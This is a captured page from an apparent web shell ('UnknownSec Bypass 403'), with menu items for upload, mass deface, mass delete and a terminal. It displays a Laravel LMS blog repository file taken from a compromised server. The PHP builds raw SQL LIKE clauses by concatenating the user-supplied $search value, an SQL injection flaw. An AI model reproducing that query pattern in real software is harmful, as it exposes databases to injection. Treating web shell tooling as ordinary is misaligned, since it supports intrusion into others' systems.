UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_64113a7a192d
/
app
/
Repositories
/
Blog
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
PostsRepositoryEloquent.php
<?php namespace EstudioLMS\Repositories\Blog; use EstudioLMS\Models\Blog\Post; use EstudioLMS\Repositories\Auth\UserRepository as repoUser; use Illuminate\Container\Container as Application; use Prettus\Repository\Eloquent\BaseRepository; use Session; use SocialLinks\Page; /** * Class PostsRepositoryEloquent * @package EstudioLMS\Repositories\Blog */ class PostsRepositoryEloquent extends BaseRepository implements PostsRepository { /** * @var repoUser */ private $repoUser; /** * @param Application $app * @param repoUser $repoUser */ public function __construct(Application $app, repoUser $repoUser) { parent::__construct($app); $this->repoUser = $repoUser; } /** * Specify Model class name * * @return string */ public function model() { return Post::class; } /** * @return \Illuminate\Database\Eloquent\Collection|static[] */ public function showAll() { return $this->model->where('published', '=', true) ->where('deleted_at', '=', null) ->availablePostsByCategory(); } /** * @return \Illuminate\Database\Eloquent\Collection|static[] */ public function showBlogList($search = null, $category = null) { $lang = Session::get('lang'); $posts = $this->model ->join('categories', 'posts.category_id', '=', 'categories.id') ->join('users', 'posts.user_id', '=', 'users.id') ->join('languages', 'categories.language_id', '=', 'languages.id') ->join('language_translations', 'languages.id', '=', 'language_translations.language_id') ->where('language_translations.locale', '=', $lang) ->whereRaw('((categories.published_at <= now() OR categories.published_at is null) and ((categories.unpublished_at >= now() OR categories.unpublished_at is null)))') ->availablePostsByCategory() ->publishedDates() ->select([ 'posts.id', 'posts.title', 'posts.published', 'posts.updated_at', 'posts.slug', 'posts.picture', 'posts.up', 'posts.down', 'posts.body', 'users.name AS user_name', 'users.id AS user_id', 'categories.id AS categ_id', 'categories.name AS categ_name', 'categories.slug AS categ_slug', 'languages.id AS lang_id', 'language_translations.name AS lang_name' ]) ->orderBy('updated_at', 'DESC'); if ($search) { $posts = $posts ->whereRaw('CONCAT(posts.title, posts.body) LIKE "%' . $search . '%"'); } if($category) { $posts = $posts->where('posts.category_id', '=', $category); } $posts = $posts->get(); foreach ($posts as $key => $post) { if (\Auth::check()) { if ($this->repoUser->canVotePost(\Auth::user()['id'], $post['id']) == null) { $posts[$key]['vote_enabled'] = false; } else { $posts[$key]['vote_enabled'] = true; } } else { $posts[$key]['vote_enabled'] = true; } $posts[$key]['url'] = route('blog.show', [$post['categ_slug'], $post['slug']]); $posts[$key]['socialShare'] = new Page([ 'url' => route('blog.show', [$post['category']['slug'], $post['slug']]), 'title' => $post['title'], 'text' => $post['show_post'], 'image' => url('/posts/pictures/' . $post['picture']), 'twitterUser' => '@Acadtech' ]); } return $posts; } /** * @param $slug * @return mixed */ public function showBlogListByCategory($slug, $search = null, $category = null) { $lang = Session::get('lang'); $posts = $this->model ->join('categories', 'posts.category_id', '=', 'categories.id') ->join('users', 'posts.user_id', '=', 'users.id') ->join('languages', 'categories.language_id', '=', 'languages.id') ->join('language_translations', 'languages.id', '=', 'language_translations.language_id') ->where('language_translations.locale', '=', $lang) ->where('posts.published', '=', true) ->whereRaw('((categories.published_at <= now() OR categories.published_at is null) and ((categories.unpublished_at >= now() OR categories.unpublished_at is null)))') ->PostsByCategory($slug) ->publishedDates() ->select([ 'posts.id', 'posts.title', 'posts.published', 'posts.updated_at', 'posts.slug', 'posts.picture', 'posts.up', 'posts.down', 'posts.body', 'posts.body', 'users.name AS user_name', 'users.id AS user_id', 'categories.id AS categ_id', 'categories.name AS categ_name', 'categories.slug AS categ_slug', 'languages.id AS lang_id', 'language_translations.name AS lang_name' ]) ->orderBy('updated_at', 'DESC'); if ($search) { $posts = $posts ->whereRaw('CONCAT(posts.title, posts.body) LIKE "%' . $search . '%"'); } if($category) { $posts = $posts->where('posts.category_id', '=', $category); } $posts = $posts->get(); foreach ($posts as $key => $post) { if (\Auth::check()) { if ($this->repoUser->canVotePost(\Auth::user()['id'], $post['id']) == null) { $posts[$key]['vote_enabled'] = false; } else { $posts[$key]['vote_enabled'] = true; } } else { $posts[$key]['vote_enabled'] = true; } } return $posts; } /** * @param $id //Este post não será incluído. * @param $limit * @return array|static[] */ public function listRecentPosts($id, $limit) { $posts = $this->model ->join('categories', 'posts.category_id', '=', 'categories.id') ->join('users', 'posts.user_id', '=', 'users.id') ->join('languages', 'categories.language_id', '=', 'languages.id') ->join('language_translations', 'languages.id', '=', 'language_translations.language_id') ->where('posts.published', '=', true) ->whereNotIn('posts.id', [$id]) ->whereRaw('((categories.published_at <= now() OR categories.published_at is null) and ((categories.unpublished_at >= now() OR categories.unpublished_at is null)))') ->publishedDates() ->orderBy('posts.created_at', 'desc') ->groupBy('posts.id') ->limit($limit) ->select([ 'posts.id', 'posts.title', 'posts.picture', 'posts.slug', 'posts.body', 'categories.id AS category_id', 'categories.slug AS category_slug' ]) ->get(); return $posts; } /** * @return array|\Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model[]|\Illuminate\Database\Query\Builder[] */ public function listingPosts() { $lang = Session::get('lang'); return $this->model ->join('categories', 'posts.category_id', '=', 'categories.id') ->join('users', 'posts.user_id', '=', 'users.id') ->join('languages', 'categories.language_id', '=', 'languages.id') ->join('language_translations', 'languages.id', '=', 'language_translations.language_id') ->where('language_translations.locale', '=', $lang) /*->whereRaw('((categories.published_at <= now() OR categories.published_at is null) and ((categories.unpublished_at >= now() OR categories.unpublished_at is null)))')*/ /*->publishedDates()*/ ->select([ 'posts.id', 'posts.title', 'posts.published', 'posts.updated_at', 'categories.id AS categ_id', 'categories.name AS categ_name', 'languages.id AS lang_id', 'language_translations.name AS lang_name' ]) ->get(); } /** * @return mixed */ public function publishedDates() { return $this->model->publishedDates(); } }
Copyright © 2026 - UnknownSec